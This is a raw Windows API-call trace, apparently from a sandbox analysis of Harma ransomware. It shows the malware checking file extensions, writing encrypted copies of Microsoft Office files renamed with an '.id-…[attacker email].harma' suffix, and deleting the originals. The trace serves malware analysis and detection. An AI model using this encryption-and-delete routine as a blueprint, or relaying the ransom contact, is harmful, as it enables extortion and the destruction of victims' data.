[0168.407] lstrlenW (lpString=".docx") returned 5 [0168.407] lstrcmpiW (lpString1=".docx", lpString2="3.BDR") returned -1 [0168.407] lstrlenW (lpString=".pdf") returned 4 [0168.407] lstrcmpiW (lpString1=".pdf", lpString2=".BDR") returned 1 [0168.407] lstrlenW (lpString=".xls") returned 4 [0168.408] lstrcmpiW (lpString1=".xls", lpString2=".BDR") returned 1 [0168.408] lstrlenW (lpString=".xlsx") returned 5 [0168.408] lstrcmpiW (lpString1=".xlsx", lpString2="3.BDR") returned -1 [0168.408] lstrlenW (lpString=".ppt") returned 4 [0168.408] lstrcmpiW (lpString1=".ppt", lpString2=".BDR") returned 1 [0168.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART3.BDR") returned 61 [0168.408] lstrlenW (lpString=".zip") returned 4 [0168.408] lstrcmpiW (lpString1=".zip", lpString2=".BDR") returned 1 [0168.408] lstrlenW (lpString=".rar") returned 4 [0168.408] lstrcmpiW (lpString1=".rar", lpString2=".BDR") returned 1 [0168.408] lstrlenW (lpString=".bz2") returned 4 [0168.408] lstrcmpiW (lpString1=".bz2", lpString2=".BDR") returned 1 [0168.408] lstrlenW (lpString=".7z") returned 3 [0168.408] lstrcmpiW (lpString1=".7z", lpString2="BDR") returned -1 [0168.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART3.BDR") returned 61 [0168.408] lstrlenW (lpString=".dbf") returned 4 [0168.408] lstrcmpiW (lpString1=".dbf", lpString2=".BDR") returned 1 [0168.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART3.BDR") returned 61 [0168.408] lstrlenW (lpString=".1cd") returned 4 [0168.408] lstrcmpiW (lpString1=".1cd", lpString2=".BDR") returned -1 [0168.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART3.BDR") returned 61 [0168.408] lstrlenW (lpString=".jpg") returned 4 [0168.408] lstrcmpiW (lpString1=".jpg", lpString2=".BDR") returned 1 [0168.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART3.BDR") returned 61 [0168.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART3.BDR") returned 61 [0168.408] lstrlenW (lpString=".doc") returned 4 [0168.408] lstrcmpiW (lpString1=".doc", lpString2=".BDR") returned 1 [0168.408] lstrlenW (lpString=".docx") returned 5 [0168.408] lstrcmpiW (lpString1=".docx", lpString2="3.BDR") returned -1 [0168.408] lstrlenW (lpString=".pdf") returned 4 [0168.409] lstrcmpiW (lpString1=".pdf", lpString2=".BDR") returned 1 [0168.409] lstrlenW (lpString=".xls") returned 4 [0168.409] lstrcmpiW (lpString1=".xls", lpString2=".BDR") returned 1 [0168.409] lstrlenW (lpString=".xlsx") returned 5 [0168.409] lstrcmpiW (lpString1=".xlsx", lpString2="3.BDR") returned -1 [0168.409] lstrlenW (lpString=".ppt") returned 4 [0168.409] lstrcmpiW (lpString1=".ppt", lpString2=".BDR") returned 1 [0168.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART3.BDR") returned 61 [0168.409] lstrlenW (lpString=".zip") returned 4 [0168.409] lstrcmpiW (lpString1=".zip", lpString2=".BDR") returned 1 [0168.409] lstrlenW (lpString=".rar") returned 4 [0168.409] lstrcmpiW (lpString1=".rar", lpString2=".BDR") returned 1 [0168.409] lstrlenW (lpString=".bz2") returned 4 [0168.409] lstrcmpiW (lpString1=".bz2", lpString2=".BDR") returned 1 [0168.409] lstrlenW (lpString=".7z") returned 3 [0168.409] lstrcmpiW (lpString1=".7z", lpString2="BDR") returned -1 [0168.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART3.BDR") returned 61 [0168.409] lstrlenW (lpString=".dbf") returned 4 [0168.409] lstrcmpiW (lpString1=".dbf", lpString2=".BDR") returned 1 [0168.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART3.BDR") returned 61 [0168.409] lstrlenW (lpString=".1cd") returned 4 [0168.409] lstrcmpiW (lpString1=".1cd", lpString2=".BDR") returned -1 [0168.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART3.BDR") returned 61 [0168.409] lstrlenW (lpString=".jpg") returned 4 [0168.409] lstrcmpiW (lpString1=".jpg", lpString2=".BDR") returned 1 [0168.409] lstrcmpiW (lpString1=".DLL", lpString2=".harma") returned -1 [0168.410] lstrlenW (lpString="BRTVIEW.DLL") returned 11 [0168.410] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BRTVIEW.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\brtview.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0168.740] GetFileSizeEx (in: hFile=0x210, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=186776) returned 1 [0168.740] CloseHandle (hObject=0x210) returned 1 [0168.740] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BRTVIEW.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\brtview.dll")) returned 0x20 [0168.827] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BRTVIEW.DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\brtview.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0168.873] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BRTVIEW.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\brtview.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0168.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BRTVIEW.DLL") returned 54 [0168.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BRTVIEW.DLL") returned 54 [0168.901] lstrlenW (lpString=".doc") returned 4 [0168.901] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0168.901] lstrlenW (lpString=".docx") returned 5 [0168.901] lstrcmpiW (lpString1=".docx", lpString2="W.DLL") returned -1 [0168.901] lstrlenW (lpString=".pdf") returned 4 [0168.901] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0168.901] lstrlenW (lpString=".xls") returned 4 [0168.901] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0168.901] lstrlenW (lpString=".xlsx") returned 5 [0168.901] lstrcmpiW (lpString1=".xlsx", lpString2="W.DLL") returned -1 [0168.901] lstrlenW (lpString=".ppt") returned 4 [0168.901] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0168.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BRTVIEW.DLL") returned 54 [0168.901] lstrlenW (lpString=".zip") returned 4 [0168.901] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0168.901] lstrlenW (lpString=".rar") returned 4 [0168.901] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0168.901] lstrlenW (lpString=".bz2") returned 4 [0168.901] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0168.901] lstrlenW (lpString=".7z") returned 3 [0168.901] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0168.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BRTVIEW.DLL") returned 54 [0168.901] lstrlenW (lpString=".dbf") returned 4 [0168.901] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0168.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BRTVIEW.DLL") returned 54 [0168.901] lstrlenW (lpString=".1cd") returned 4 [0168.901] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0168.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BRTVIEW.DLL") returned 54 [0168.901] lstrlenW (lpString=".jpg") returned 4 [0168.901] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0168.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BRTVIEW.DLL") returned 54 [0168.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BRTVIEW.DLL") returned 54 [0168.902] lstrlenW (lpString=".doc") returned 4 [0168.902] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0168.902] lstrlenW (lpString=".docx") returned 5 [0168.902] lstrcmpiW (lpString1=".docx", lpString2="W.DLL") returned -1 [0168.902] lstrlenW (lpString=".pdf") returned 4 [0168.902] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0168.902] lstrlenW (lpString=".xls") returned 4 [0168.902] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0168.902] lstrlenW (lpString=".xlsx") returned 5 [0168.902] lstrcmpiW (lpString1=".xlsx", lpString2="W.DLL") returned -1 [0168.902] lstrlenW (lpString=".ppt") returned 4 [0168.902] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0168.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BRTVIEW.DLL") returned 54 [0168.902] lstrlenW (lpString=".zip") returned 4 [0168.902] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0168.902] lstrlenW (lpString=".rar") returned 4 [0168.902] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0168.902] lstrlenW (lpString=".bz2") returned 4 [0168.902] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0168.902] lstrlenW (lpString=".7z") returned 3 [0168.902] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0168.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BRTVIEW.DLL") returned 54 [0168.902] lstrlenW (lpString=".dbf") returned 4 [0168.902] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0168.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BRTVIEW.DLL") returned 54 [0168.903] lstrlenW (lpString=".1cd") returned 4 [0168.903] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0168.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BRTVIEW.DLL") returned 54 [0168.903] lstrlenW (lpString=".jpg") returned 4 [0168.903] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0168.903] lstrcmpiW (lpString1=".FAE", lpString2=".harma") returned -1 [0168.903] lstrlenW (lpString="OLADDR.FAE") returned 10 [0168.903] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLADDR.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\oladdr.fae"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0169.074] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=13744) returned 1 [0169.074] CloseHandle (hObject=0x218) returned 1 [0169.078] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLADDR.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\oladdr.fae")) returned 0x20 [0169.559] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLADDR.FAE.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\oladdr.fae.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0169.559] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLADDR.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\oladdr.fae"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0169.559] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0169.559] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0169.560] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLADDR.FAE.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\oladdr.fae.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0169.561] GetLastError () returned 0x0 [0169.561] ReadFile (in: hFile=0x21c, lpBuffer=0x3d20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesRead=0x313fed4*=0x35b0, lpOverlapped=0x0) returned 1 [0169.579] WriteFile (in: hFile=0x20c, lpBuffer=0x3d20020*, nNumberOfBytesToWrite=0x35c0, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesWritten=0x313fc9c*=0x35c0, lpOverlapped=0x0) returned 1 [0169.580] ReadFile (in: hFile=0x21c, lpBuffer=0x3d20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesRead=0x313fed4*=0x0, lpOverlapped=0x0) returned 1 [0169.580] WriteFile (in: hFile=0x20c, lpBuffer=0x3d20020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesWritten=0x313fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0169.581] SetEndOfFile (hFile=0x20c) returned 1 [0169.581] CloseHandle (hObject=0x20c) returned 1 [0169.581] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0169.581] SetEndOfFile (hFile=0x21c) returned 1 [0169.583] CloseHandle (hObject=0x21c) returned 1 [0169.583] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLADDR.FAE.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0169.584] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLADDR.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\oladdr.fae")) returned 1 [0169.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLADDR.FAE") returned 66 [0169.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLADDR.FAE") returned 66 [0169.584] lstrlenW (lpString=".doc") returned 4 [0169.584] lstrcmpiW (lpString1=".doc", lpString2=".FAE") returned -1 [0169.585] lstrlenW (lpString=".docx") returned 5 [0169.585] lstrcmpiW (lpString1=".docx", lpString2="R.FAE") returned -1 [0169.585] lstrlenW (lpString=".pdf") returned 4 [0169.585] lstrcmpiW (lpString1=".pdf", lpString2=".FAE") returned 1 [0169.585] lstrlenW (lpString=".xls") returned 4 [0169.585] lstrcmpiW (lpString1=".xls", lpString2=".FAE") returned 1 [0169.585] lstrlenW (lpString=".xlsx") returned 5 [0169.585] lstrcmpiW (lpString1=".xlsx", lpString2="R.FAE") returned -1 [0169.585] lstrlenW (lpString=".ppt") returned 4 [0169.585] lstrcmpiW (lpString1=".ppt", lpString2=".FAE") returned 1 [0169.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLADDR.FAE") returned 66 [0169.585] lstrlenW (lpString=".zip") returned 4 [0169.585] lstrcmpiW (lpString1=".zip", lpString2=".FAE") returned 1 [0169.585] lstrlenW (lpString=".rar") returned 4 [0169.585] lstrcmpiW (lpString1=".rar", lpString2=".FAE") returned 1 [0169.585] lstrlenW (lpString=".bz2") returned 4 [0169.585] lstrcmpiW (lpString1=".bz2", lpString2=".FAE") returned -1 [0169.585] lstrlenW (lpString=".7z") returned 3 [0169.585] lstrcmpiW (lpString1=".7z", lpString2="FAE") returned -1 [0169.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLADDR.FAE") returned 66 [0169.585] lstrlenW (lpString=".dbf") returned 4 [0169.585] lstrcmpiW (lpString1=".dbf", lpString2=".FAE") returned -1 [0169.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLADDR.FAE") returned 66 [0169.585] lstrlenW (lpString=".1cd") returned 4 [0169.585] lstrcmpiW (lpString1=".1cd", lpString2=".FAE") returned -1 [0169.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLADDR.FAE") returned 66 [0169.585] lstrlenW (lpString=".jpg") returned 4 [0169.585] lstrcmpiW (lpString1=".jpg", lpString2=".FAE") returned 1 [0169.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLADDR.FAE") returned 66 [0169.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLADDR.FAE") returned 66 [0169.586] lstrlenW (lpString=".doc") returned 4 [0169.586] lstrcmpiW (lpString1=".doc", lpString2=".FAE") returned -1 [0169.586] lstrlenW (lpString=".docx") returned 5 [0169.586] lstrcmpiW (lpString1=".docx", lpString2="R.FAE") returned -1 [0169.586] lstrlenW (lpString=".pdf") returned 4 [0169.586] lstrcmpiW (lpString1=".pdf", lpString2=".FAE") returned 1 [0169.586] lstrlenW (lpString=".xls") returned 4 [0169.586] lstrcmpiW (lpString1=".xls", lpString2=".FAE") returned 1 [0169.586] lstrlenW (lpString=".xlsx") returned 5 [0169.586] lstrcmpiW (lpString1=".xlsx", lpString2="R.FAE") returned -1 [0169.586] lstrlenW (lpString=".ppt") returned 4 [0169.586] lstrcmpiW (lpString1=".ppt", lpString2=".FAE") returned 1 [0169.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLADDR.FAE") returned 66 [0169.586] lstrlenW (lpString=".zip") returned 4 [0169.586] lstrcmpiW (lpString1=".zip", lpString2=".FAE") returned 1 [0169.586] lstrlenW (lpString=".rar") returned 4 [0169.586] lstrcmpiW (lpString1=".rar", lpString2=".FAE") returned 1 [0169.586] lstrlenW (lpString=".bz2") returned 4 [0169.586] lstrcmpiW (lpString1=".bz2", lpString2=".FAE") returned -1 [0169.586] lstrlenW (lpString=".7z") returned 3 [0169.586] lstrcmpiW (lpString1=".7z", lpString2="FAE") returned -1 [0169.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLADDR.FAE") returned 66 [0169.586] lstrlenW (lpString=".dbf") returned 4 [0169.586] lstrcmpiW (lpString1=".dbf", lpString2=".FAE") returned -1 [0169.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLADDR.FAE") returned 66 [0169.586] lstrlenW (lpString=".1cd") returned 4 [0169.587] lstrcmpiW (lpString1=".1cd", lpString2=".FAE") returned -1 [0169.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLADDR.FAE") returned 66 [0169.587] lstrlenW (lpString=".jpg") returned 4 [0169.587] lstrcmpiW (lpString1=".jpg", lpString2=".FAE") returned 1 [0169.587] lstrcmpiW (lpString1=".SAM", lpString2=".harma") returned 1 [0169.587] lstrlenW (lpString="OLR.SAM") returned 7 [0169.587] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLR.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\olr.sam"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0169.587] GetFileSizeEx (in: hFile=0x21c, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=15760) returned 1 [0169.588] CloseHandle (hObject=0x21c) returned 1 [0169.588] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLR.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\olr.sam")) returned 0x20 [0169.588] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLR.SAM.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\olr.sam.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0169.588] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLR.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\olr.sam"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0169.588] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0169.588] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0169.588] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLR.SAM.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\olr.sam.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0169.589] GetLastError () returned 0x0 [0169.589] ReadFile (in: hFile=0x21c, lpBuffer=0x3d20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesRead=0x313fed4*=0x3d90, lpOverlapped=0x0) returned 1 [0169.630] WriteFile (in: hFile=0x20c, lpBuffer=0x3d20020*, nNumberOfBytesToWrite=0x3da0, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesWritten=0x313fc9c*=0x3da0, lpOverlapped=0x0) returned 1 [0169.631] ReadFile (in: hFile=0x21c, lpBuffer=0x3d20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesRead=0x313fed4*=0x0, lpOverlapped=0x0) returned 1 [0169.631] WriteFile (in: hFile=0x20c, lpBuffer=0x3d20020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesWritten=0x313fc9c*=0xe2, lpOverlapped=0x0) returned 1 [0169.632] SetEndOfFile (hFile=0x20c) returned 1 [0169.632] CloseHandle (hObject=0x20c) returned 1 [0169.632] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0169.632] SetEndOfFile (hFile=0x21c) returned 1 [0169.634] CloseHandle (hObject=0x21c) returned 1 [0169.634] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLR.SAM.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0169.634] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLR.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\olr.sam")) returned 1 [0169.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLR.SAM") returned 63 [0169.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLR.SAM") returned 63 [0169.635] lstrlenW (lpString=".doc") returned 4 [0169.635] lstrcmpiW (lpString1=".doc", lpString2=".SAM") returned -1 [0169.635] lstrlenW (lpString=".docx") returned 5 [0169.635] lstrcmpiW (lpString1=".docx", lpString2="R.SAM") returned -1 [0169.635] lstrlenW (lpString=".pdf") returned 4 [0169.635] lstrcmpiW (lpString1=".pdf", lpString2=".SAM") returned -1 [0169.635] lstrlenW (lpString=".xls") returned 4 [0169.635] lstrcmpiW (lpString1=".xls", lpString2=".SAM") returned 1 [0169.636] lstrlenW (lpString=".xlsx") returned 5 [0169.636] lstrcmpiW (lpString1=".xlsx", lpString2="R.SAM") returned -1 [0169.636] lstrlenW (lpString=".ppt") returned 4 [0169.636] lstrcmpiW (lpString1=".ppt", lpString2=".SAM") returned -1 [0169.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLR.SAM") returned 63 [0169.636] lstrlenW (lpString=".zip") returned 4 [0169.636] lstrcmpiW (lpString1=".zip", lpString2=".SAM") returned 1 [0169.636] lstrlenW (lpString=".rar") returned 4 [0169.636] lstrcmpiW (lpString1=".rar", lpString2=".SAM") returned -1 [0169.636] lstrlenW (lpString=".bz2") returned 4 [0169.636] lstrcmpiW (lpString1=".bz2", lpString2=".SAM") returned -1 [0169.636] lstrlenW (lpString=".7z") returned 3 [0169.636] lstrcmpiW (lpString1=".7z", lpString2="SAM") returned -1 [0169.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLR.SAM") returned 63 [0169.636] lstrlenW (lpString=".dbf") returned 4 [0169.636] lstrcmpiW (lpString1=".dbf", lpString2=".SAM") returned -1 [0169.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLR.SAM") returned 63 [0169.636] lstrlenW (lpString=".1cd") returned 4 [0169.636] lstrcmpiW (lpString1=".1cd", lpString2=".SAM") returned -1 [0169.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLR.SAM") returned 63 [0169.636] lstrlenW (lpString=".jpg") returned 4 [0169.636] lstrcmpiW (lpString1=".jpg", lpString2=".SAM") returned -1 [0169.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLR.SAM") returned 63 [0169.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLR.SAM") returned 63 [0169.636] lstrlenW (lpString=".doc") returned 4 [0169.636] lstrcmpiW (lpString1=".doc", lpString2=".SAM") returned -1 [0169.636] lstrlenW (lpString=".docx") returned 5 [0169.637] lstrcmpiW (lpString1=".docx", lpString2="R.SAM") returned -1 [0169.637] lstrlenW (lpString=".pdf") returned 4 [0169.637] lstrcmpiW (lpString1=".pdf", lpString2=".SAM") returned -1 [0169.637] lstrlenW (lpString=".xls") returned 4 [0169.637] lstrcmpiW (lpString1=".xls", lpString2=".SAM") returned 1 [0169.637] lstrlenW (lpString=".xlsx") returned 5 [0169.637] lstrcmpiW (lpString1=".xlsx", lpString2="R.SAM") returned -1 [0169.637] lstrlenW (lpString=".ppt") returned 4 [0169.637] lstrcmpiW (lpString1=".ppt", lpString2=".SAM") returned -1 [0169.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLR.SAM") returned 63 [0169.637] lstrlenW (lpString=".zip") returned 4 [0169.637] lstrcmpiW (lpString1=".zip", lpString2=".SAM") returned 1 [0169.637] lstrlenW (lpString=".rar") returned 4 [0169.637] lstrcmpiW (lpString1=".rar", lpString2=".SAM") returned -1 [0169.637] lstrlenW (lpString=".bz2") returned 4 [0169.637] lstrcmpiW (lpString1=".bz2", lpString2=".SAM") returned -1 [0169.637] lstrlenW (lpString=".7z") returned 3 [0169.637] lstrcmpiW (lpString1=".7z", lpString2="SAM") returned -1 [0169.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLR.SAM") returned 63 [0169.637] lstrlenW (lpString=".dbf") returned 4 [0169.637] lstrcmpiW (lpString1=".dbf", lpString2=".SAM") returned -1 [0169.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLR.SAM") returned 63 [0169.637] lstrlenW (lpString=".1cd") returned 4 [0169.638] lstrcmpiW (lpString1=".1cd", lpString2=".SAM") returned -1 